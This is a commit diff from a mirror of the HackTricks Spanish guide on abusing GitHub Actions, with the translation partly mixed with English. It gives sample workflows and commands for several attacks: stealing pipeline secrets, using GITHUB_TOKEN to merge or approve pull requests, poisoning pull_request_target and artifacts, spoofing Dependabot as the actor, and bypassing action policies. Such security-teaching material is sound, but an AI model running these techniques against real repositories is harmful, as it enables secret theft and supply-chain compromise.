gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-17 15:21:52 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

Browse Source
This commit is contained in:
Translator
2025-09-29 21:35:37 +00:00
parent 6e74148fee
commit 56bb737c9f
3 changed files with 423 additions and 254 deletions
Download Patch File Download Diff File Expand all files Collapse all files

316
src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
View File

@@ -1,56 +1,56 @@
# Abusando de Github Actions
# Abusar de Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Herramientas
Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar algunos vulnerables:
Las siguientes herramientas son útiles para encontrar workflows de Github Action e incluso encontrar ones vulnerables:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Consulta también su lista de verificación en [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Revisa también su checklist en [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Información Básica
## Información básica
En esta página encontrarás:
- Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action
- Diferentes formas de **obtener acceso a una acción**:
- Tener **permisos** para crear la acción
- Abusar de los **disparadores** relacionados con **pull request**
- Un **resumen de todos los impactos** de un atacante que logre acceder a una Github Action
- Diferentes maneras de **obtener acceso a una Github Action**:
- Tener **permisos** para crear la action
- Abusar de triggers relacionados con **pull request**
- Abusar de **otras técnicas de acceso externo**
- **Pivotar** desde un repositorio ya comprometido
- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causar los impactos mencionados)
- **Pivoting** desde un repo ya comprometido
- Finalmente, una sección sobre **post-exploitation techniques** para abusar de una Github Action desde dentro (causar los impactos mencionados)
## Resumen de Impactos
## Resumen de impactos
Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions).
Para una introducción sobre [**Github Actions revisa la información básica**](../basic-github-information.md#github-actions).
Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías ser capaz de:
Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías:
- **Robar secretos** montados en la tubería y **abusar de los privilegios de la tubería** para obtener acceso no autorizado a plataformas externas, como AWS y GCP.
- **Steal secrets** montados en el pipeline y **abusar de los privilegios del pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP.
- **Comprometer despliegues** y otros **artefactos**.
- Si la tubería despliega o almacena activos, podrías alterar el producto final, habilitando un ataque a la cadena de suministro.
- **Ejecutar código en trabajadores personalizados** para abusar del poder computacional y pivotar a otros sistemas.
- Si el pipeline deploya o almacena assets, podrías alterar el producto final, posibilitando un ataque a la cadena de suministro.
- **Ejecutar código en workers personalizados** para abusar del poder de cómputo y pivotar a otros sistemas.
- **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`.
## GITHUB_TOKEN
Este "**secreto**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el administrador habilita esta opción:
Este "**secret**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el admin habilita esta opción:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
Este token es el mismo que una **Aplicación de Github utilizará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Este token es el mismo que **una Github Application usará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github debería lanzar un [**flujo**](https://github.com/github/roadmap/issues/74) que **permita el acceso entre repositorios** dentro de GitHub, para que un repositorio pueda acceder a otros repositorios internos utilizando el `GITHUB_TOKEN`.
> Github debería lanzar un [**flow**](https://github.com/github/roadmap/issues/74) que **permita acceso cross-repository** dentro de GitHub, de modo que un repo pueda acceder a otros repos internos usando el `GITHUB_TOKEN`.
Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Ten en cuenta que el token **expira después de que el trabajo ha finalizado**.\
Estos tokens lucen así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Ten en cuenta que el token **expira después de que el job ha completado**.\
Estos tokens se ven así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Algunas cosas interesantes que puedes hacer con este token:
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Aprobar PR" }}
{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Crear PR" }}
{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Ten en cuenta que en varias ocasiones podrás encontrar **tokens de usuario de github dentro de los entornos de Github Actions o en los secretos**. Estos tokens pueden darte más privilegios sobre el repositorio y la organización.
> Ten en cuenta que en varias ocasiones podrás encontrar **github user tokens dentro de los envs de Github Actions o en los secrets**. Estos tokens pueden otorgarte más privilegios sobre el repositorio y la organización.
<details>
<summary>Listar secretos en la salida de Github Action</summary>
<summary>Listar secrets en la salida de Github Action</summary>
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Obtener shell inverso con secretos</summary>
<summary>Obtener una reverse shell con secrets</summary>
```yaml
name: revshell
on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
Es posible verificar los permisos otorgados a un Github Token en los repositorios de otros usuarios **revisando los registros** de las acciones:
Es posible comprobar los permisos otorgados a un Github Token en los repositorios de otros usuarios **comprobando los logs** de las actions:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Ejecución Permitida
## Ejecución permitida
> [!NOTE]
> Esta sería la forma más fácil de comprometer las acciones de Github, ya que este caso supone que tienes acceso para **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**.
> Esta sería la forma más fácil de comprometer Github actions, ya que este caso supone que tienes acceso a **crear un nuevo repositorio en la organización**, o tienes **privilegios de escritura sobre un repositorio**.
>
> Si te encuentras en este escenario, solo puedes revisar las [técnicas de Post Explotación](#post-exploitation-techniques-from-inside-an-action).
> Si te encuentras en este escenario puedes simplemente revisar los [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Ejecución desde la Creación de un Repositorio
### Ejecución desde la creación de un repositorio
En caso de que los miembros de una organización puedan **crear nuevos repositorios** y tú puedas ejecutar acciones de github, puedes **crear un nuevo repositorio y robar los secretos establecidos a nivel de organización**.
En caso de que los miembros de una organización puedan **create new repos** y tú puedas ejecutar Github actions, puedes **create a new repo and steal the secrets set at organization level**.
### Ejecución desde una Nueva Rama
### Ejecución desde una nueva rama
Si puedes **crear una nueva rama en un repositorio que ya contiene una Acción de Github** configurada, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa acción desde la nueva rama**. De esta manera, puedes **exfiltrar secretos a nivel de repositorio y organización** (pero necesitas saber cómo se llaman).
Si puedes **crear una nueva rama en un repositorio que ya contiene una Github Action configurada**, puedes **modificarla**, **subir** el contenido y luego **ejecutar esa action desde la nueva rama**. De esta forma puedes **exfiltrate repository and organization level secrets** (pero necesitas saber cómo se llaman).
Puedes hacer que la acción modificada sea ejecutable **manualmente,** cuando se **crea un PR** o cuando **se sube algún código** (dependiendo de cuán ruidoso quieras ser):
> [!WARNING]
> Cualquier restricción implementada sólo dentro del workflow YAML (por ejemplo, `on: push: branches: [main]`, job conditionals, o manual gates) puede ser editada por colaboradores. Sin enforcement externo (branch protections, protected environments, and protected tags), un contribuidor puede redirigir un workflow para que se ejecute en su rama y abusar de los mounted secrets/permissions.
Puedes hacer la action modificada ejecutable **manualmente,** cuando se **cree un PR** o cuando se **haga push de código** (dependiendo de cuán ruidoso quieras ser):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
```
---
## Ejecución Forked
## Ejecución en forks
> [!NOTE]
> Hay diferentes desencadenadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones desencadenables están mal configuradas, un atacante podría comprometerlas.
> Existen diferentes disparadores que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas acciones que se pueden activar están mal configuradas, un atacante podría comprometerlas.
### `pull_request`
El desencadenador de flujo de trabajo **`pull_request`** ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** necesitará **aprobar** la **ejecución** del flujo de trabajo:
El workflow trigger **`pull_request`** ejecutará el workflow cada vez que se reciba un pull request con algunas excepciones: por defecto, si es la **primera vez** que estás **colaborando**, algún **mantenedor** deberá **aprobar** la **ejecución** del workflow:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Como la **limitación predeterminada** es para **contribuyentes primerizos**, podrías contribuir **corrigiendo un error/tipografía válido** y luego enviar **otras PRs para abusar de tus nuevos privilegios de `pull_request`**.
> Como la **limitación por defecto** es para contribuyentes de **primera vez**, podrías contribuir **corrigiendo un bug/typo válido** y luego enviar **otros PRs para abusar de tus nuevos privilegios de `pull_request`**.
>
> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.~~
> **Probé esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.~~
Además, por defecto **previene permisos de escritura** y **acceso a secretos** al repositorio objetivo como se menciona en la [**documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Además, por defecto **se impiden los permisos de escritura** y el **acceso a secrets** al repositorio objetivo, como se menciona en la [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Con la excepción de `GITHUB_TOKEN`, **los secretos no se pasan al runner** cuando se desencadena un flujo de trabajo desde un repositorio **forked**. El **`GITHUB_TOKEN` tiene permisos de solo lectura** en solicitudes de extracción **de repositorios forked**.
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y agregar acciones arbitrarias. Sin embargo, no podrá robar secretos ni sobrescribir el repositorio debido a las limitaciones mencionadas.
Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y añadir acciones arbitrarias. Sin embargo, no podrá robar secrets ni sobrescribir el repo debido a las limitaciones mencionadas.
> [!CAUTION]
> **Sí, si el atacante cambia en la PR la github action que será desencadenada, su Github Action será la que se use y no la del repositorio de origen!**
> **Sí, si el atacante cambia en el PR la Github Action que se ejecutará, ¡su Github Action será la que se use y no la del repositorio de origen!**
Como el atacante también controla el código que se ejecuta, incluso si no hay secretos o permisos de escritura en el `GITHUB_TOKEN`, un atacante podría, por ejemplo, **subir artefactos maliciosos**.
Dado que el atacante también controla el código que se ejecuta, aunque no haya secrets ni permisos de escritura en el `GITHUB_TOKEN`, un atacante podría por ejemplo **subir artifacts maliciosos**.
### **`pull_request_target`**
El desencadenador de flujo de trabajo **`pull_request_target`** tiene **permiso de escritura** al repositorio objetivo y **acceso a secretos** (y no pide permiso).
El workflow trigger **`pull_request_target`** tiene **permisos de escritura** en el repositorio objetivo y **acceso a secrets** (y no solicita permiso).
Ten en cuenta que el desencadenador de flujo de trabajo **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por la PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target`, [**consulta la documentación**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Además, para más información sobre este uso específico y peligroso, consulta este [**post del blog de github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Ten en cuenta que el workflow trigger **`pull_request_target`** **se ejecuta en el contexto base** y no en el proporcionado por el PR (para **no ejecutar código no confiable**). Para más información sobre `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Además, para más información sobre este uso específico peligroso revisa este [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Puede parecer que, dado que el **flujo de trabajo ejecutado** es el definido en la **base** y **no en la PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**.
Podría parecer que, dado que el **workflow ejecutado** es el que está definido en la **base** y **no en el PR**, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**.
Y este tendrá **acceso a secretos**.
Y este tendrá **acceso a secrets**.
### `workflow_run`
El desencadenador [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite ejecutar un flujo de trabajo desde otro cuando está `completado`, `solicitado` o `en progreso`.
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que se complete el flujo de trabajo separado "Ejecutar Pruebas":
En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" finalice:
```yaml
on:
workflow_run:
@@ -227,31 +230,31 @@ workflows: [Run Tests]
types:
- completed
```
Además, según la documentación: El flujo de trabajo iniciado por el evento `workflow_run` puede **acceder a secretos y escribir tokens, incluso si el flujo de trabajo anterior no lo fue**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
Este tipo de flujo de trabajo podría ser atacado si **depende** de un **flujo de trabajo** que puede ser **activado** por un usuario externo a través de **`pull_request`** o **`pull_request_target`**. Un par de ejemplos vulnerables pueden ser [**encontrados en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** El primero consiste en que el flujo de trabajo activado por **`workflow_run`** descarga el código del atacante: `${{ github.event.pull_request.head.sha }}`\
El segundo consiste en **pasar** un **artifact** del código **no confiable** al flujo de trabajo **`workflow_run`** y usar el contenido de este artifact de una manera que lo haga **vulnerable a RCE**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
### `workflow_call`
TODO
TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el del origen o del PR bifurcado.
TODO: Comprobar si cuando se ejecuta desde un `pull_request` el código usado/descargado es el del origen o el del PR forkeado
## Abusando de la Ejecución Bifurcada
## Abusing Forked Execution
Hemos mencionado todas las formas en que un atacante externo podría lograr que un flujo de trabajo de github se ejecute, ahora echemos un vistazo a cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas:
Hemos mencionado todas las formas en que un atacante externo podría lograr que un github workflow se ejecute, ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas:
### Ejecución de checkout no confiable
### Untrusted checkout execution
En el caso de **`pull_request`,** el flujo de trabajo se ejecutará en el **contexto del PR** (por lo que ejecutará el **código malicioso del PR**), pero alguien necesita **autorizarlo primero** y se ejecutará con algunas [limitaciones](#pull_request).
En el caso de `pull_request`, el workflow se va a ejecutar en el contexto del PR (por lo que ejecutará el código malicioso del PR), pero alguien necesita autorizarlo primero y se ejecutará con algunas [limitaciones](#pull_request).
En el caso de un flujo de trabajo que utiliza **`pull_request_target` o `workflow_run`** que depende de un flujo de trabajo que puede ser activado desde **`pull_request_target` o `pull_request`**, se ejecutará el código del repositorio original, por lo que el **atacante no puede controlar el código ejecutado**.
En el caso de un workflow usando `pull_request_target` or `workflow_run` que depende de un workflow que puede ser triggeredo desde `pull_request_target` o `pull_request` se ejecutará el código del repositorio original, por lo que el atacante no puede controlar el código ejecutado.
> [!CAUTION]
> Sin embargo, si la **acción** tiene un **checkout de PR explícito** que **obtendrá el código del PR** (y no de la base), utilizará el código controlado por el atacante. Por ejemplo (ver línea 12 donde se descarga el código del PR):
> However, si la **action** tiene un **checkout explícito del PR** que **obtiene el código del PR** (y no del base), usará el código controlado por el atacante. For example (check line 12 where the PR code is downloaded):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Proporcionado solo como un ejemplo.
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
pull_request_target
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
¡Gracias!
Thank you!
</code></pre>
El código **no confiable potencialmente se está ejecutando durante `npm install` o `npm build`** ya que los scripts de construcción y los **paquetes referenciados son controlados por el autor del PR**.
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
> [!WARNING]
> Un dork de github para buscar acciones vulnerables es: `event.pull_request pull_request_target extension:yml` sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de manera segura incluso si la acción está configurada de manera insegura (como usar condicionales sobre quién es el actor que genera el PR).
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
### Inyecciones de Script en Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Inyecciones de scripts en contextos <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Tenga en cuenta que hay ciertos [**contextos de github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores son **controlados** por el **usuario** que crea el PR. Si la acción de github está utilizando esos **datos para ejecutar algo**, podría llevar a **ejecución de código arbitrario:**
Ten en cuenta que existen ciertos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cuyos valores están **controlados** por el **usuario** que crea el PR. Si la github action está usando esos **datos para ejecutar cualquier cosa**, esto podría conducir a **ejecución de código arbitrario:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **Inyección de Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Según la documentación: Puede hacer que una **variable de entorno esté disponible para cualquier paso posterior** en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiendo esto en el archivo de entorno **`GITHUB_ENV`**.
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
Si un atacante pudiera **inyectar cualquier valor** dentro de esta variable **env**, podría inyectar variables de entorno que podrían ejecutar código en pasos posteriores como **LD_PRELOAD** o **NODE_OPTIONS**.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
Por ejemplo ([**esto**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) y [**esto**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine un flujo de trabajo que confía en un artifact subido para almacenar su contenido dentro de la variable de entorno **`GITHUB_ENV`**. Un atacante podría subir algo como esto para comprometerlo:
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot y otros bots de confianza
### Dependabot and other trusted bots
Como se indica en [**esta publicación de blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), varias organizaciones tienen una Acción de Github que fusiona cualquier PRR de `dependabot[bot]` como en:
As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
```yaml
on: pull_request_target
jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Lo cual es un problema porque el campo `github.actor` contiene al usuario que causó el último evento que activó el flujo de trabajo. Y hay varias formas de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo:
Lo cual es un problema porque el campo `github.actor` contiene el usuario que provocó el último evento que desencadenó el workflow. Y hay varias maneras de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo:
- Hacer un fork del repositorio de la víctima
- Agregar la carga útil maliciosa a tu copia
- Habilitar Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una rama corrigiendo la dependencia con código malicioso.
- Abrir un Pull Request al repositorio de la víctima desde esa rama (el PR será creado por el usuario, así que aún no pasará nada)
- Luego, el atacante regresa al PR inicial que Dependabot abrió en su fork y ejecuta `@dependabot recreate`
- Luego, Dependabot realiza algunas acciones en esa rama, que modificaron el PR sobre el repositorio de la víctima, lo que hace que `dependabot[bot]` sea el actor del último evento que activó el flujo de trabajo (y por lo tanto, el flujo de trabajo se ejecuta).
- Fork del repositorio de la víctima
- Añade el payload malicioso a tu copia
- Habilita Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una branch que arregla la dependencia con código malicioso.
- Abre un Pull Request al repositorio de la víctima desde esa branch (el PR será creado por el usuario, así que aún no pasará nada)
- Luego, el atacante vuelve al PR inicial que Dependabot abrió en su fork y ejecuta `@dependabot recreate`
- Entonces, Dependabot realiza algunas acciones en esa branch, que modifican el PR en el repo de la víctima, lo que hace que `dependabot[bot]` sea el actor del último evento que desencadenó el workflow (y por lo tanto, el workflow se ejecuta).
Pasando a otro tema, ¿qué pasaría si en lugar de fusionar, la Acción de Github tuviera una inyección de comandos como en:
Avanzando, ¿y si en lugar de hacer merge el Github Action tuviera una inyección de comandos como en:
```yaml
on: pull_request_target
jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Bueno, la publicación del blog original propone dos opciones para abusar de este comportamiento, siendo la segunda:
Bueno, la entrada del blog original propone dos opciones para abusar de este comportamiento, siendo la segunda:
- Hacer un fork del repositorio de la víctima y habilitar Dependabot con alguna dependencia desactualizada.
- Crear una nueva rama con el código de inyección de shell malicioso.
- Cambiar la rama predeterminada del repositorio a esa.
- Crear un PR desde esta rama al repositorio de la víctima.
- Ejecutar `@dependabot merge` en el PR que Dependabot abrió en su fork.
- Dependabot fusionará sus cambios en la rama predeterminada de tu repositorio bifurcado, actualizando el PR en el repositorio de la víctima, haciendo que ahora `dependabot[bot]` sea el actor del último evento que activó el flujo de trabajo y utilizando un nombre de rama malicioso.
- Fork the victim repository y habilita Dependabot con alguna dependencia desactualizada.
- Crea una nueva branch con el código de inyección de shell malicioso.
- Cambia la default branch del repo a esa.
- Crea un PR desde esa branch hacia el victim repository.
- Ejecuta `@dependabot merge` en el PR que Dependabot abrió en su fork.
- Dependabot fusionará sus cambios en la default branch de tu forked repository, actualizando el PR en el victim repository, haciendo ahora que `dependabot[bot]` sea el actor del último evento que disparó el workflow y usando un nombre de branch malicioso.
### Acciones de Github de Terceros Vulnerables
### Terceras partes vulnerables en Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Como se menciona en [**esta publicación del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Acción de Github permite acceder a artefactos de diferentes flujos de trabajo e incluso repositorios.
Como se menciona en [**esta entrada del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acceder a artifacts de diferentes workflows e incluso repositories.
El problema es que si el parámetro **`path`** no está configurado, el artefacto se extrae en el directorio actual y puede sobrescribir archivos que podrían ser utilizados o incluso ejecutados en el flujo de trabajo. Por lo tanto, si el artefacto es vulnerable, un atacante podría abusar de esto para comprometer otros flujos de trabajo que confían en el artefacto.
El problema es que si el parámetro **`path`** no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían usarse o incluso ejecutarse más tarde en el workflow. Por lo tanto, si el Artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en el Artifact.
Ejemplo de flujo de trabajo vulnerable:
Ejemplo de workflow vulnerable:
```yaml
on:
workflow_run:
@@ -373,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
Esto podría ser atacado con este flujo de trabajo:
Esto podría ser atacado con este workflow:
```yaml
name: "some workflow"
on: pull_request
@@ -390,35 +393,35 @@ path: ./script.py
```
---
## Otro Acceso Externo
## Otros accesos externos
### Secuestro de Repositorio de Namespace Eliminado
### Deleted Namespace Repo Hijacking
Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el eliminado.
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
> [!CAUTION]
> Así que si una acción está utilizando un repositorio de una cuenta no existente, todavía es posible que un atacante pueda crear esa cuenta y comprometer la acción.
> Por lo tanto, si una action está usando un repo de una account inexistente, sigue siendo posible que un attacker pueda crear esa account y comprometer la action.
Si otros repositorios estaban utilizando **dependencias de estos repositorios de usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Pivotar Repositorio
## Repo Pivoting
> [!NOTE]
> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso en el primero (ver la sección anterior).
> En esta sección hablaremos sobre técnicas que permitirían **pivot from one repo to another** suponiendo que tengamos algún tipo de acceso en el primero (revisa la sección anterior).
### Envenenamiento de Caché
### Cache Poisoning
Se mantiene una caché entre **ejecuciones de flujo de trabajo en la misma rama**. Lo que significa que si un atacante **compromete** un **paquete** que luego se almacena en la caché y es **descargado** y ejecutado por un flujo de trabajo **más privilegiado**, podrá **comprometer** también ese flujo de trabajo.
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Envenenamiento de Artefactos
### Artifact Poisoning
Los flujos de trabajo podrían usar **artefactos de otros flujos de trabajo e incluso repositorios**, si un atacante logra **comprometer** la Acción de Github que **sube un artefacto** que luego es utilizado por otro flujo de trabajo, podría **comprometer los otros flujos de trabajo**:
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -426,9 +429,34 @@ gh-actions-artifact-poisoning.md
---
## Post Explotación desde una Acción
## Post Exploitation from an Action
### Accediendo a AWS y GCP a través de OIDC
### Github Action Policies Bypass
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
Ejemplo:
```yaml
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
```
### Accediendo a AWS y GCP vía OIDC
Consulta las siguientes páginas:
